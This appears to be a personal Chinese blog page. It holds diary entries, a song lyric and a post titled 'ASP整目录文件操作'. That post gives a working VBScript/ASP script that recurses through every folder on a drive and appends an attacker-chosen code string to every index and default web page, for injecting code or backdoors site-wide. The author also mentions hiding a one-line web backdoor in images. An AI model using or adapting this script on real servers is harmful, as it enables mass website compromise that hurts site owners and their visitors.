听雨轩
听雨轩
宿心劫（LEO）的个人小站
文章
ASP整目录文件操作
功能同火狐的那个PHP整目录插入工具实现功能相同.这次只是在ASP中实现,因为代码写的比我那个好多了,我就不把草稿拿出来献丑咯.
要实现在图片中添加一句话后门,只要在代码中写入是否到达最后一行的控制语句,呵呵,我记性不好,留在草稿上了.
Option Explicit
dim objFso,objFolders,objSubFolders,objSubFolder,TheFolder,strPath,objSubFile,strHackFile,strHackCodz,objOpFile
dim objSubFiles
Set objFso = CreateObject("Scripting.FileSystemObject")
'要插入代码的文件
strHackFile="index.html,index.htm,index.asp,index.php,default.html,default.htm,default.asp,default.php,leobbs.cgi,index.aspx"
'要插入的代码
strHackCodz=""
'要扫描的根目录
TheFolder = "e:\"
GetFolders(TheFolder)
Function GetFolders(FolderPath)
If Not objFso.FolderExists(FolderPath) Then Exit Function
Set objFolders = objFso.GetFolder(FolderPath)
Set objSubFile = objFolders.Files
On error resume next
For Each objSubFiles In objSubFile
If Instr(strHackFile , Cstr(objSubFiles.Name)) > 0 Then
On error resume next
Set objOpFile = objFso.OpenTextFile(objSubFiles.Path , 8)
objOpFile.Write strHackCodz
objOpFile.Close
End If
Next
Set objSubFolders = objFolders.SubFolders
If objSubFolders.Count = 0 Then Exit Function
For Each objSubFolder In objSubFolders
strPath = objSubFolder.Path
'Wscript.Echo strPath
'Wscript.Echo objSubFolder.Name
GetFolders(strPath)
Next
End Function
终于决定要离开了
终于决定要暂时的离开了.想了好久了,现在也是时候.经历了一场大地震似的袭击,承受不了太多.回去做好家里交代的事,好好把书念完,这对得起很多人.以后也许会幸福的.我会偶尔来更新的,希望你们多来看看我的小站.
童话
忘了有多久
再没听到你
对我说你最爱的故事
我想了很久
我开始慌了
是不是我又做错了什么
你哭着对我说
童话里都是骗人的
我不可能是你的王子
也许你不会懂
从你说爱我以后
我的天空星星都亮了
我愿变成童话里
你爱的那个天使
张开双手变成翅膀守护你
你要相信
相信我们会像童话故事里
幸福和快乐是结局
一起写我们的结局
改变个想法
PHP是门奇怪的语言，功能强大，局限较少，有人喜欢，有人恨。不知道该说她什么好，如果能够得到她，我愿意把自己给卖咯。但我的计划中又不得不暂时放弃她。为了学业，为了毕业，我要先学C了，这样对得起自己。呵呵，先学C后学PHP，大家都能够理解我的！886！~~
宴席终将散
睡了两节课，逃了一节课，有点对不起撒。没办法，谁叫我天生没读书的命。我终于做完自己该做的，剩下的我也做不了什么，只能靠他自己走下去了，人不走一遍路，是不知道对还是错的。希望他能坚强，我不记得世界是什么样了，但世界应该还是美好的，需要帮助时，朋友和兄弟还是会出现在你的身旁。很高兴认识鱼哥哥（saiy、氯哥（Lvhuana)和一直掉线，前面两个就不多说了，永远是我哥。一直掉线是个不一样的人，我不告诉你为什么不一样，能和他说话（记得不是聊天）是件幸福的事。决定要离开网络一点点，网络外的生活还是有趣的，我一直到懂LIN哥的话。
奋斗只因空虚
不知所措，不知自身行为为了什么。总是没目标的游荡！~~散漫的生活，不堪寂寞的煎熬。原本以为自己会过得很好，但现在知道自己错了，犯傻了，世界不应该是这样的。现在不想着去睡觉，不想着该如何活下去。阴天或者要下雨，我胡乱的写着文字。错，错，恨。我叹息，只叹息。
